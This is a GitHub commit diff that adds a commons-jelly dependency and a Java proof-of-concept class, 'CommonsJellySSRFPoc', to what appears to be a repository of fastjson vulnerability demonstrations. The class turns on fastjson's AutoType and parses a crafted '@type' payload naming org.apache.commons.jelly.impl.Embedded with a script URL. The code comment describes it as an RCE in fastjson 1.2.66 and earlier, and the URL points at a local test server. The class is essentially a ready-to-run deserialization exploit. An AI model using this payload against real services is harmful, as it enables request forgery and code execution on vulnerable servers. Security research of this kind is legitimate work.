File tree Expand file tree Collapse file tree 2 files changed +41
-0
lines changed
src/main/java/com/threedr3am/bug/fastjson Expand file tree Collapse file tree 2 files changed +41
-0
lines changed Original file line number Diff line number Diff line change 9999 <artifactId >cocoon-slide</artifactId >
100100 <version >2.1.11</version >
101101 </dependency >
102+
103+ <dependency >
104+ <groupId >commons-jelly</groupId >
105+ <artifactId >commons-jelly</artifactId >
106+ <version >1.0.1</version >
107+ </dependency >
102108 </dependencies >
103109</project >
Original file line number Diff line number Diff line change 1+ package com .threedr3am .bug .fastjson ;
2+
3+ import com .alibaba .fastjson .JSON ;
4+ import com .alibaba .fastjson .parser .ParserConfig ;
5+ import com .threedr3am .bug .common .server .HTTPServer ;
6+
7+ /**
8+ * fastjson <= 1.2.66 RCE,需要开启AutoType
9+ *
10+ *
11+ * <dependency>
12+ * <groupId>commons-jelly</groupId>
13+ * <artifactId>commons-jelly</artifactId>
14+ * <version>1.0.1</version>
15+ * </dependency>
16+ *
17+ * @author threedr3am
18+ */
19+ public class CommonsJellySSRFPoc {
20+
21+ static {
22+ HTTPServer .PORT = 23234 ;
23+ HTTPServer .run (null );
24+ }
25+
26+ public static void main (String [] args ) {
27+ ParserConfig .getGlobalInstance ().setAutoTypeSupport (true );
28+ String payload = "{\" @type\" :\" org.apache.commons.jelly.impl.Embedded\" ,\" script\" : \" http://127.0.0.1:23234?aaaa=111&bb=242\" }" ;
29+ try {
30+ JSON .parse (payload );
31+ } catch (Exception e ) {
32+ e .printStackTrace ();
33+ }
34+ }
35+ }
You can’t perform that action at this time.
0 commit comments